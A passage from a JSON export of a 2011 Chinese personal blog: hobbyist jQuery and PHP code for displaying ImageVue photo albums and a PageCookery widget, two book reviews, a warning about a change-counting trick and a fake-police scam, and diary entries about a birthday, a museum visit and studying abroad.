.append(\u0026#39;\u0026lt;span/\u0026gt;\u0026#39;).children().eq(3).addClass(\u0026#39;img_date\u0026#39;).html(getLocalTime(data.mTime)).parent() .appendTo(\u0026#39;#images\u0026#39;); }); }); }); $(\u0026#39;#back\u0026#39;).click(function(){ //$(\u0026#39;#images\u0026#39;).children(\u0026#39;a:visible\u0026#39;).hide(); $(\u0026#39;.photo\u0026#39;).remove(); //$(\u0026#39;#images\u0026#39;).children(\u0026#39;a:hidden\u0026#39;).fadeIn(); $(\u0026#39;.album\u0026#39;).show(); $(this).hide(); }); }); function openAlbum(albumName) { //$(\u0026#39;#images\u0026#39;).children(\u0026#39;a\u0026#39;).fadeOut(); $(\u0026#39;.album\u0026#39;).hide(); $(\u0026#39;#back\u0026#39;).show(); $.getJSON(albumURL + \u0026#39;api.php?method=get.photos\u0026amp;name=\u0026#39; + albumName + \u0026#39;\u0026amp;callback=?\u0026#39;, function(data){ $.each(data, function(i,item){ $(\u0026#34;\u0026lt;a class=\u0026#39;photo\u0026#39;/\u0026gt;\u0026#34;).attr(\u0026#39;href\u0026#39;, item.url).attr(\u0026#39;title\u0026#39;, item.description) .append(\u0026#39;\u0026lt;img/\u0026gt;\u0026#39;).children().attr(\u0026#34;src\u0026#34;, item.thumbnail).parent() .append(\u0026#39;\u0026lt;span/\u0026gt;\u0026#39;).children().eq(1).addClass(\u0026#39;img_title\u0026#39;).html(item.title).parent() .appendTo(\u0026#39;#images\u0026#39;); }); }); } function getLocalTime(nS) { return new Date(parseInt(nS) * 1000).toLocaleString(); } \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 友情提示：本代码只是一个实例代码，请大家根据自己的需要做好相关的修改。\n","count":619,"date":"2011年12月09日","featuredImage":null,"permalink":"https://imnerd.org/imagevue-api-example-for-jquery.html","summary":"\u003cp\u003e之前因为图片大，数据解析多次的原因，我的API相册展示页访问起来表示鸭梨巨大，所以我就央求了老四同学帮我写了这么一个JQ版本的。【没办法，我是JS盲o(╯□╰)o】使用之后访问起来果然什么鸭梨都木有啊！在此非常感谢老四同学在百忙之中帮我做了这么个小东西。\u003c/p\u003e","time":2,"title":"利用API制作相册展页[JQuery版]"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"\r上一篇提到了本人为ImageVue写的一个API，这一篇将给大家提供一个实例，使大家能够更明白的了解和使用这个API.\n将下面的内容保存成PHP文件后上传到服务器访问即可，只是简单的做了照片的读取，没有做过多的修饰。有心情的可以根据API做个分页以及JS和CSS方面的修饰。预览地址：点击这里 \u0026lt;style\u0026gt; ul { margin:0 auto; } li { display:inline; } \u0026lt;/style\u0026gt; \u0026lt;?php $api = \u0026#39;http://album.imnerd.org/api.php?method=\u0026#39;; //注意大家要将这里的网址改成你自己的相册网址哦~ echo \u0026#39;\u0026lt;ul\u0026gt;\u0026#39;; switch($_GET[\u0026#39;page\u0026#39;]) { case \u0026#39;photo\u0026#39;: $photos = file_get_contents($api . \u0026#39;get.photos\u0026amp;name=\u0026#39; . $_GET[\u0026#39;album\u0026#39;]); $photos = json_decode($photos, true); foreach($photos as $item) { echo \u0026#39;\u0026lt;li\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;a href=\u0026#34;\u0026#39; . $item[\u0026#39;url\u0026#39;] . \u0026#39;\u0026#34; class=\u0026#34;highslide\u0026#34; onclick=\u0026#34;return hs.expand(this,{slideshowGroup:\\\u0026#39;images\\\u0026#39;})\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;\u0026#39; . $item[\u0026#39;thumbnail\u0026#39;] . \u0026#39;\u0026#34; alt=\u0026#34;\u0026#39; . $item[\u0026#39;title\u0026#39;] . \u0026#39;\u0026#34; /\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;/li\u0026gt;\u0026#39;; } break; default: $gallery_name = file_get_contents($api . \u0026#39;get.gallery.name\u0026#39;); $gallery_name = json_decode($gallery_name, true); foreach($gallery_name as $item) { $gallery_info = file_get_contents($api . \u0026#39;get.gallery.info\u0026amp;name=\u0026#39; . $item); $gallery_info = json_decode($gallery_info, true); $preview = file_get_contents($api . \u0026#39;get.photo\u0026amp;album=\u0026#39; . $item . \u0026#39;\u0026amp;photo=\u0026#39; . $gallery_info[\u0026#39;previewimage\u0026#39;]); $preview = json_decode($preview, true); if($preview[\u0026#39;thumbnail\u0026#39;] != \u0026#34;\u0026#34;) { echo \u0026#39;\u0026lt;li\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;ol style=\u0026#34;display:inline;\u0026#34;\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;?page=photo\u0026amp;album=\u0026#39; . $item . \u0026#39;\u0026#34; alt=\u0026#34;\u0026#39; . $gallery_info[\u0026#39;title\u0026#39;] . \u0026#39;\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;\u0026#39; . $preview[\u0026#39;thumbnail\u0026#39;] . \u0026#39;\u0026#34; alt=\u0026#34;\u0026#39; . $preview[\u0026#39;title\u0026#39;] . \u0026#39;\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;li\u0026gt;\u0026lt;div id=\u0026#34;album\u0026#34;\u0026gt;\u0026lt;span class=\u0026#34;tilte\u0026#34;\u0026gt;\u0026#39; . $gallery_info[\u0026#39;title\u0026#39;] . \u0026#39;\u0026lt;/span\u0026gt;\u0026lt;span class=\u0026#34;count\u0026#34;\u0026gt;(\u0026#39; . $gallery_info[\u0026#39;fileCount\u0026#39;] . \u0026#39;)\u0026lt;/span\u0026gt;\u0026lt;span class=\u0026#34;discription\u0026#34;\u0026gt;\u0026#39; . $gallery_info[\u0026#39;description\u0026#39;] . \u0026#39;\u0026lt;/span\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/li\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;/ol\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;/li\u0026gt;\u0026#39;; } } break; } echo \u0026#39;\u0026lt;/ul\u0026gt;\u0026#39;; 大家还可以做成WP或者Typecho的博客页面，如果不懂得制作的，可以自行谷歌一下，很简单的！\n","count":380,"date":"2011年12月01日","featuredImage":null,"permalink":"https://imnerd.org/photo-show-by-api.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769071426\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769071426\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e上一篇提到了\u003ca href=\"http://lzm.ch/08\" target=\"_blank\"\u003e本人为ImageVue写的一个API\u003c/a\u003e，这一篇将给大家提供一个实例，使大家能够更明白的了解和使用这个API.\u003c/p\u003e\r\n\u003cp\u003e将下面的内容保存成PHP文件后上传到服务器访问即可，只是简单的做了照片的读取，没有做过多的修饰。有心情的可以根据API做个分页以及JS和CSS方面的修饰。预览地址：\u003ca href=\"https://blog.imnerd.org/photo.html\" target=\"_blank\"\u003e点击这里\u003c/a\u003e \u003c/p\u003e","time":1,"title":"利用API制作相册展页"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"\r这两天突发奇想想要给imagevue做一个API接口出来，这样站外引用什么的就好做多了。简单的应用比如在博客中插入相册或者最近上传照片的RSS挂件什么的都变得轻而易举了。开始想用树形文件夹的遍历来获取数据的，然后发现imagevue有将所有的信息都存储在xml文件里，犹如发现新大陆啊。API返回的数据要么是json要么是字符串，没有将其整理成标准的XML格式，原因很简单，我对XML的格式其实也不太熟o(╯□╰)o\r我在Google Code上创建了这个项目，需要的同学可以去参观一下：点击这里 API文件下载地址：下载一\u0026nbsp;\rAPI参数说明：点击这里 若不能下载的可以保存下面的源码为api.php上传到相册根目录即可使用\r最后如果有什么想法或者建议请一定要联系我！谢谢\r相关文章：利用API制作相册展页 | 利用API制作相册展页[JQuery版]\r","count":372,"date":"2011年11月20日","featuredImage":null,"permalink":"https://imnerd.org/imagevue-api.html","summary":"\u003c!-- \u003ciframe src=\"https://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1770060224\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1794250948\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e\r\n\t这两天突发奇想想要给imagevue做一个API接口出来，这样站外引用什么的就好做多了。简单的应用比如在博客中插入相册或者最近上传照片的RSS挂件什么的都变得轻而易举了。开始想用树形文件夹的遍历来获取数据的，然后发现imagevue有将所有的信息都存储在xml文件里，犹如发现新大陆啊。API返回的数据要么是json要么是字符串，没有将其整理成标准的XML格式，原因很简单，我对XML的格式其实也不太熟o(╯□╰)o\r\n\u003c/p\u003e","time":1,"title":"ImageVue API"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"\r看一本小说就是看小说中的世界，世界中的人生百态，用一种局外人的眼光看待世界中的每一个人，细细咀嚼他们的言行举止。白鹿原实际上就是围绕白鹿两家展开的世界，白嘉轩刚正不阿，是我崇拜的类型，鹿子霖诡计多端，但是最后落得个疯死的下场，是我怜悯的对象，鹿三着实喜欢，可惜最终是死掉了。\u0026nbsp;\r白鹿原的前半部分是温馨的，有且仅有的是人与人之间的勾心斗角。直到白鹿两家第三代长大成人，国内局势动荡不安后，白鹿原又有了一种新的诠释。书中写了白鹿两家三代人之间的亲情，写了白嘉轩和鹿三的主仆情，写了黑娃和鹿兆鹏的友情，写了鹿兆鹏，鹿兆海和白灵之间的爱情，同时也写了鹿子霖和各种女人的奸情，同时还写了国家动荡的国情。说到亲情，我始终不明白白灵的决绝到底是为了什么，鹿兆鹏我或许可以理解，但是白灵呢，难道真的对于亲情她就这么淡然么？或许国家高于小家的这种理念我目前还是无法理解，但是读到这部分的时候我始终都是为白嘉轩他们感到惋惜。\r我读书读的少，写作文不在行，写起观后感来更是手无足措的。每当动起笔来，哦不，目前的状况是动起键盘来，感觉有一大堆的想法往脑子外头冲，可是仔细摸索的话，发现原来我真的什么都不知道。其实我想写白嘉轩的治家之道，是的，我非常欣赏这种理念。书中把他描述成了一个守旧的庄稼汉子，但是我觉得他一点都不守旧，封建的东西固然是可恶的，但是里面仍有许多东西值得我们去欣赏的。白嘉轩的刚正不阿，严于律己的态度都是我非常欣赏的。白嘉轩的理念是在朱先生的教导下慢慢升华出来的，学为好人就是个例子。白嘉轩爱面子，做事情要对得住自己的良心，上对得起道德，下对得起自己。说到道德，白孝文就是一个非常好的例子，冲破了道德的束缚后，整个人都变得淫荡无耻起来。当代社会中，我们很多人也是没有道德的束缚，而且法律也管不到这边来，于是乎就变得素质低下起来。所以在我看来，封建理念有些东西还是可以继续传承的。白嘉轩虽然被定义为地主，可是在我看来，他就是一个庄稼汉子，特别是对待鹿三。白孝文本来也是白嘉轩的翻版的，但都是小娥害了他；白孝文变了之后，白孝武就接替他成了白嘉轩的代言人。在我看来，白孝武也没什么不好的。朱先生博览群书的大儒，他也只是让儿子读书明事理后回家务农么？\r与我看来，白鹿原描写的关于国家动荡，党国之争还是比较的客观的。没有描写国家的利益高于一切，没有描写只有共产党才能救中国等等无上理念，只是通过述说白鹿原的人生百态，孰是孰非只是能看官自己回去品味。有可能是情情爱爱的小说读多了，或许是年纪还小的缘故，对于国家这个元素我并无多大的感慨，我只是叹息着白嘉轩的命途多舛，叹息着白灵的决绝，叹息着鹿兆鹏的逃婚，叹息着鹿兆海和白灵的无缘，叹息着黑娃的命运，叹息着白孝文的堕落。一切的叹息，都只是关于生活的叹息，生存的叹息，确实少而又少。\r死亡，对于我来说，又是一个令人痛心的领域。一个个我喜欢的主人翁，随着这样的那样的事情而陨落。我痛心了。只要活着，任你耍尽阴险诡计，认你被迫害的体无完肤，只要好好的活着，一切都好。\r暂时就写到这吧，思绪又开始跳跃起来了，有什么新的想法我再补充。\r","count":1277,"date":"2011年11月09日","featuredImage":null,"permalink":"https://imnerd.org/bai-lu-yuan-guan-shu-you-gan.html","summary":"\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=330 height=86 src=\"//music.163.com/outchain/player?type=2\u0026id=1326168155\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e\r\n\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Falbum.imnerd.org%2Fenshrine%2Fdata%2Fimages%2F2012%2F02%2F16ki2o.jpg\" width=\"140\" height=\"207\" title=\"白鹿原\" alt=\"白鹿原\" style=\"float:left;\"\u003e\r\n\u003cp style=\"text-indent:2em;\"\u003e看一本小说就是看小说中的世界，世界中的人生百态，用一种局外人的眼光看待世界中的每一个人，细细咀嚼他们的言行举止。白鹿原实际上就是围绕白鹿两家展开的世界，白嘉轩刚正不阿，是我崇拜的类型，鹿子霖诡计多端，但是最后落得个疯死的下场，是我怜悯的对象，鹿三着实喜欢，可惜最终是死掉了。\u0026nbsp;\r\n\u003c/p\u003e\r\n\u003cp style=\"text-indent:2em;\"\u003e\r\n\t白鹿原的前半部分是温馨的，有且仅有的是人与人之间的勾心斗角。直到白鹿两家第三代长大成人，国内局势动荡不安后，白鹿原又有了一种新的诠释。书中写了白鹿两家三代人之间的亲情，写了白嘉轩和鹿三的主仆情，写了黑娃和鹿兆鹏的友情，写了鹿兆鹏，鹿兆海和白灵之间的爱情，同时也写了鹿子霖和各种女人的奸情，同时还写了国家动荡的国情。说到亲情，我始终不明白白灵的决绝到底是为了什么，鹿兆鹏我或许可以理解，但是白灵呢，难道真的对于亲情她就这么淡然么？或许国家高于小家的这种理念我目前还是无法理解，但是读到这部分的时候我始终都是为白嘉轩他们感到惋惜。\r\n\u003c/p\u003e","time":3,"title":"《白鹿原》观书有感"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"\n我了个去,亲,这本书绝对是坑多的要死啊,三叔虽然在后头美言说是不愿意把所有的都说的个彻彻底底，要给读者留有想象的空间，可是可是，还是好坑好不好T_T。 1.小心裴青\n我就一直纳闷了，这张小心裴青的纸条到底是有毛用啊有毛用，没穿越的吴用是通过纸条才发生一系列的思维变化的，而纸条是穿越后的吴用认为要遵照原来的情况行动给放进去的。也就是说，这张纸条就在这个循环中结束了。虽然这样也解释的过去，可是你妈这凭空跑出一张莫名其妙的纸条真的好坑爹有木有。\n2.老猫的出现\n假设吴用穿越后的时空为A时空，那么吴用在这里碰到了第一支地勘队时，就已经见到了身为队员的老猫。而在文的结尾三叔埋下伏笔说是吴用童鞋当老师的时候碰到了学生老猫。假设一个时空内不可能出现两个同样的人，那么毫无疑问，这两个人只有有一个人是穿越过来的。那穿越过来的这个人是对呢？我觉得只能是身为地勘队元的老猫君了。但是这里有有个地方说不过去了，那就是年龄。假设队员老猫是穿越的，那么学生老猫就是A时空中老猫的本体。但是老猫跟吴用之前就共事过，按照推理过来的话就应该得出和吴用共事的那个老猫应该是穿越过来的。那么这个老猫不管什么样的情况下应该就认识吴用了啊？没道理在第一次碰面的时候不认识吴用的说。而且第一支队伍都后头都没怎么讲老猫了，虽然有可能是老猫已经出来了，但是老猫绝对是有问题的。 写到这里我又想起来了，穿越后在日本人建的房子那里碰到了老猫他们，然后他们进洞——\u0026gt;勘探队遇难，老猫险象环生——\u0026gt;上头纠集了第二批部队，老猫和吴用都在里头 这里头又有些不对劲了，显然这个老猫应该是看到两次吴用了，但是为啥老猫一点神经质都木有？？好吧，我郁闷了。 而且最后第二支探险队，老猫进来之后也没有讲老猫到底咋样了。老猫基本上算是个关键的客串人物了。\n3.马在海的死\n当时马在海的死大家看了纸条之后都认为是投毒死的，而投毒的人应该是所谓的敌特。我们现在已经知道了敌特就是袁工和特派员。但是当时特派员还在下头发电报呢，而袁工自从看了之后的故事理解一下应该是不会做出这种事情的人啊？所以，这马在海到底是怎么死的？难道真的是解毒剂过敏？？\n4.发送的电报\n最后特派员的这个电报应该是发送成功了的，要不然他也不会往上爬了。但是日本人为啥还要跑到这么个底下来发个电报呢？之后吴用的本体世界怎么样了呢，三叔都没说。虽然是伏笔，让人很压抑，但是也只能说是一个开放式故事了。哎！\nPS:最后有个小小的疑问，当时吴用和副班长找到“深山”轰炸机的时候旁边应该还跟着两个小兵的，怎么从轰炸机上下来就没见到那俩小兵的描述了？难道是我看书不认真了？\nPS2:身为地质专业的我可是看到第一本书得名字才来看的，结果你妈赤果果的科幻故事啊，弄的我好伤心啊有木有!T_T\n","count":1132,"date":"2011年10月04日","featuredImage":null,"permalink":"https://imnerd.org/da-mo-cang-lang.html","summary":"\u003cp\u003e\u003cspan style=\"heigth: 70%; float: left;\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg3.douban.com%2Flpic%2Fs4547388.jpg\" alt=\"\"\u003e\u003c/span\u003e\u003c/p\u003e\n\u003cp\u003e我了个去,亲,这本书绝对是坑多的要死啊,三叔虽然在后头美言说是不愿意把所有的都说的个彻彻底底，要给读者留有想象的空间，可是可是，还是好坑好不好T_T。 1.小心裴青\u003c/p\u003e","time":3,"title":"大漠苍狼"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 昨儿个洛洛让我转发个东西，关于骗钱的，说是身边很多人都上当受骗了，让我给大家看看提防一下。原文是这样的：\n【骗局】事发南昌火车站某家小商店，为了换零钱，于是到小商店买瓶水来找兑，拿出了一张100元纸币，只找回了98元，朋友数了一遍，的确是98，于是对店家说少了1元，黑心商家于是要回去重数，到这里都很正常，然后！！黑心商家说确实少了一元，于是关注力自然在他去拿一元钱了。就在这时 他把钱折叠起来，偷偷抽走其中的纸币再把一元压上给你，一般急着走是不会注意到了，事后也只以为自己掉了钱，我的朋友就被以此手法骗走了60元 对了 黑心商家找给他的是一堆10元纸币和等等零钱。今回家路上，听一人打电话，正好也是在同一家店同一手法被骗走50，所以大家要注意啊！！也许你的亲人朋友正在以此手法被骗中。对了 路上遇见的那人说他报了警，警察说不属于他管理的范围！！！！\n不得不感慨大千世界真是无奇不有。下午跟妈妈通电话时候，妈妈神秘的跟我说发生了一件不得了的事情，但是断断续续没听太清楚，后来又说了一次才明白是这么回事。原来是有“警察”去我家说一个在深圳叫李泉的建设银行副行长用我妈的身份证开了一个户用于收取捐款，结果携款逃跑了，说是涉案金额有几百个亿来着。我妈当时就有点懵了，\u0026ldquo;警察\u0026quot;说要拘留我妈来着，最后有个\u0026quot;警察\u0026quot;说看我妈样子不像是坏人然后说要查一下我家资金流动，顺带要冻结我家的流动财产，让我妈把家里的钱取出来放到他们那里去。\n我当时一听这个事情就感觉不大对劲，哪里有冻结资产是转账冻结的，不是都冻结账户的么？！再加上我妈说那俩“警察”一直让她对这件事要保密，说是怕嫌疑人逃跑。我就感觉这事情不大对劲，让我妈一再确认一下他们的身份，结果我妈去公安局一看，发现是一个诈骗团伙。其实总结来看，就我所叙述的过程中就有无数个漏洞，首先涉案金额就不大对，都快赶上国家储蓄了；其次，一个警察扮黑脸一个警察扮白脸就让人感觉很像是在做戏来着；其它的疑点更是不必说了。\n好在我妈中午去取钱的时候ATM机吞卡了下午我提醒了一下她，所以对我们家没造成多大的损失。只是把我妈吓坏了，累了一天来着，也算是吸取教训吧。\n","count":903,"date":"2011年08月16日","featuredImage":null,"permalink":"https://imnerd.org/zha-pian-na-xie-shi.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2067257\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e昨儿个洛洛让我转发个东西，关于骗钱的，说是身边很多人都上当受骗了，让我给大家看看提防一下。原文是这样的：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e【骗局】事发南昌火车站某家小商店，为了换零钱，于是到小商店买瓶水来找兑，拿出了一张100元纸币，只找回了98元，朋友数了一遍，的确是98，于是对店家说少了1元，黑心商家于是要回去重数，到这里都很正常，然后！！黑心商家说确实少了一元，于是关注力自然在他去拿一元钱了。就在这时 他把钱折叠起来，偷偷抽走其中的纸币再把一元压上给你，一般急着走是不会注意到了，事后也只以为自己掉了钱，我的朋友就被以此手法骗走了60元 对了 黑心商家找给他的是一堆10元纸币和等等零钱。今回家路上，听一人打电话，正好也是在同一家店同一手法被骗走50，所以大家要注意啊！！也许你的亲人朋友正在以此手法被骗中。对了 路上遇见的那人说他报了警，警察说不属于他管理的范围！！！！\u003c/p\u003e","time":2,"title":"诈骗那些事"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":"今天某位自从大学以来就没见过面的初中加高中而且跟我玩的还不错的同学(Mei)来找我玩，讲了一下她的各种前任和目前的现任，然后是各种的出国，神马美国，加拿大，法国，荷兰都有啊！她现任这位已经毕业九月份准备去美国来着，然后说神马全额奖学金带上她出去都没有问题。然后也说她自己也很想出国，大一就在准备GRE来着，虽然这次GRE没考好，不过她准备再努力一下。\n本来这俩礼拜就想了想出国的事情，觉得自己心挺痒痒的，被她这么一说心里就更加想了。不过一想到自己的英语真的头疼。而且目前已经在准备考研，所以也只能对出国这件事暂时死心了。我的想法很简单，尽量离家远一点，家里的那些乱七八糟的事情实在是让我心烦啊！看以后有没有机会吧，我其实也不想给自己太大鸭梨的。\n哇靠，说到鸭梨，讲她现任这位我才是各种鸭梨啊，家里有钱，人又会读书，还是学校的最佳答辩，校足球队长，除了外貌其它的真的没话说了。身为不上进的男生，真的是各种鸭梨大啊！\n感觉写的有点少了，好吧，放张我上次在学校拍的萌猫图！貌似没出声多久的说，被我折腾了好久，哈哈！\n","count":451,"date":"2011年07月26日","featuredImage":null,"permalink":"https://imnerd.org/go-to-foreign.html","summary":"\u003cp\u003e今天某位自从大学以来就没见过面的初中加高中而且跟我玩的还不错的同学(Mei)来找我玩，讲了一下她的各种前任和目前的现任，然后是各种的出国，神马美国，加拿大，法国，荷兰都有啊！她现任这位已经毕业九月份准备去美国来着，然后说神马全额奖学金带上她出去都没有问题。然后也说她自己也很想出国，大一就在准备GRE来着，虽然这次GRE没考好，不过她准备再努力一下。\u003c/p\u003e","time":1,"title":"我其实也想出国"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":"近日，San君到抚州来找我玩，在San君的强烈要求下和他一起去了抚州市博物馆。说来惭愧，我虽然从小到大都在抚州生活，但是抚州去过的地方仍是少的可怜，这个新建的博物馆当然更是没有来过。进去浏览了一番，发现还是别有风味的，当然我不是文物鉴定专家，不能给大家说出里面的文物多么多么有名什么的，但是从整体的布局，从博物馆的建筑风格上来说，我觉得还是不错的。之前大一的时候去杭州实习，有去过杭州市博物馆，除却空间大，文物豪华之外，其实和我们市博物馆也无太大差别。\n因为我们抚州是“才子之乡”，所以博物馆中书籍和名人介绍还是比较多的，但是这样的东西实质性的文物又没有多少，所以只能挂上照片和文字照上去。我感觉这点是非常不好的，因为这样给我的感觉就是博物馆中没有东西，拿这些东西滥竽充数来了。顺便说一下，抚州现在真的到处都是房地产开发啊，市政府（博物馆旁边）旁边到处都是正在修建的高楼，弄的我想找个好角度照相都无能为力。\n今天照了很多相片的说，相片完整版浏览地址:-\u0026gt;请点击这里 ","count":433,"date":"2011年07月12日","featuredImage":null,"permalink":"https://imnerd.org/fu-zhou-shi-museum.html","summary":"\u003cp\u003e近日，San君到抚州来找我玩，在San君的强烈要求下和他一起去了抚州市博物馆。说来惭愧，我虽然从小到大都在抚州生活，但是抚州去过的地方仍是少的可怜，这个新建的博物馆当然更是没有来过。进去浏览了一番，发现还是别有风味的，当然我不是文物鉴定专家，不能给大家说出里面的文物多么多么有名什么的，但是从整体的布局，从博物馆的建筑风格上来说，我觉得还是不错的。之前大一的时候去杭州实习，有去过杭州市博物馆，除却空间大，文物豪华之外，其实和我们市博物馆也无太大差别。\u003c/p\u003e","time":1,"title":"博物馆之行"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":" 从今天开始我就是21岁了（其实伦家只有20啦，非得喊虚岁的么），特地为了今天留一篇博文来记录一下（想要我写博还真不容易哈）。\n所以说，最爱自己的，仍然是自己的父母。昨儿个我妈第一个给我发了祝福短信，祝福我早上吃啥中午吃啥晚上吃啥的，虽然既高兴又感谢，但是..还是怪唠叨的..哈哈！当然还有寝室的娃儿们啦，王者我就不说了，最近出去实习闲得无聊，肯定是看到QQ生日提醒才给我发的消息，哼，我才不稀罕咧！呵呵，开玩笑的啦。当然还有我们家大哥大姐（同学）了，大姐凌晨给我发的短信，感动死了。当然还有XXX发短信给我，XXX打电话给我，这我就不说了，免得勾起我无尽的忧伤，哇卡卡卡卡！\n不得不说，腾讯这个生日提醒做的真是相当厚道啊，早上还发了封邮件给我。不过貌似去年的时候移动还给我发了短信呢，今年咋没了呢，有点儿小奇怪。突然想着今天自己应该怎么过呢，觉得自己一个人HIGH不起来啊，想请大家一起出去吃饭可是有些人已经出去实习了啊，一个人呆在家里头确实有点闷啊。算了，还是呆在家里头原地待命吧，这鬼天气热的要死，拉我出去我也不愿意啊！\n从今天起我就21岁了，我要变得更加的成熟，更加的稳重。新的一岁，要祝父母身体健康，祝朋友生活幸福，祝老师工作顺利，祝自己能够心想事成。如上！\n","count":530,"date":"2011年07月03日","featuredImage":null,"permalink":"https://imnerd.org/21th-birthday.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#380444\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e从今天开始我就是21岁了（其实伦家只有20啦，非得喊虚岁的么），特地为了今天留一篇博文来记录一下（想要我写博还真不容易哈）。\u003c/p\u003e\n\u003cp\u003e所以说，最爱自己的，仍然是自己的父母。昨儿个我妈第一个给我发了祝福短信，祝福我早上吃啥中午吃啥晚上吃啥的，虽然既高兴又感谢，但是..还是怪唠叨的..哈哈！当然还有寝室的娃儿们啦，王者我就不说了，最近出去实习闲得无聊，肯定是看到QQ生日提醒才给我发的消息，哼，我才不稀罕咧！呵呵，开玩笑的啦。当然还有我们家大哥大姐（同学）了，大姐凌晨给我发的短信，感动死了。当然还有XXX发短信给我，XXX打电话给我，这我就不说了，免得勾起我无尽的忧伤，哇卡卡卡卡！\u003c/p\u003e","time":2,"title":"今天开始我就21岁了"},{"comments":{"data":[46],"errmsg":"","errno":0},"contents":"\r之前写过一篇为你的PageCookery制作博客挂件，利用的是PageCookery的RSS制作的。今天给大家放的代码是直接读取数据库然后用js的innerhtml引用的方法，此方法适用于任何网站，甚至是HTML页面也是可以的。新分享的方法简单方便而因为读取数据库的原因是实时更新的呢！这里要感谢卜卜口の君的各种指导。\n本文需要使用的文件下载：普通下载 | 115下载 | uudisc下载 注意:以上文件适合97版本以前的【不包括97版】PageCookery，如果是97版以后的请拷贝下面的代码。\n下载好文件后将其解压，将widget.php和badge.php文件上传到您的PageCookery根目录下，即与config.php同级的目录。然后浏览器输入\u0026quot;您的PageCookery地址+/widget.php\u0026quot;，例如我的是http://pagecookery.net/widget.php出现什么了？呵呵～上面已经有提醒了，我就不多说了。\n友情提醒：通过定义script地址后面的mount的值可以控制显示的条数哦！我已经定义了许多标签，样式什么的可以尽情的发挥咯！\n这里我也直接放出代码出来给那些不愿下载的孩子：\nwidget.php文件源代码：\n\u0026lt;?php require_once(\u0026#34;global.php\u0026#34;); ?\u0026gt; \u0026lt;p\u0026gt;JS插件代码|复制代码到你要引用的地方 \u0026lt;textarea style=\u0026#34;width:80%;height:80px;\u0026#34;\u0026gt;\u0026lt;div id=\u0026#34;pagecookery\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;\u0026lt;?php echo BASE_URL; ?\u0026gt;badge.php?mount=10\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;/textarea\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;效果预览： \u0026lt;div id=\u0026#34;pagecookery\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;\u0026lt;?php echo BASE_URL; ?\u0026gt;badge.php?mount=10\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/pre\u0026gt; badge.php文件源代码(适合97版本以前的PageCookery【不包括97版】)： \u0026lt;pre class=\u0026#34;brush: php;\u0026#34;\u0026gt; header(\u0026#39;Content-Type:application/javascript;charset=utf-8\u0026#39;); require_once(\u0026#34;global.php\u0026#34;); if (!isset($_GET[\u0026#39;mount\u0026#39;])){ $_GET[\u0026#39;mount\u0026#39;]=\u0026#39;10\u0026#39;; } document.getElementById(\u0026#39;pagecookery\u0026#39;).innerHTML=\u0026#39;\u0026lt; ?php if(ereg(\u0026#34;^[0-9]*$\u0026#34;,$_GET[\u0026#39;mount\u0026#39;])){ $sql=\u0026#39;SELECT * FROM entry ORDER BY time DESC LIMIT \u0026#39;.$_GET[\u0026#39;mount\u0026#39;]; $entry = $SQL-\u0026gt;RunQuery($sql); echo \u0026#39;\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt;#pagecookery img 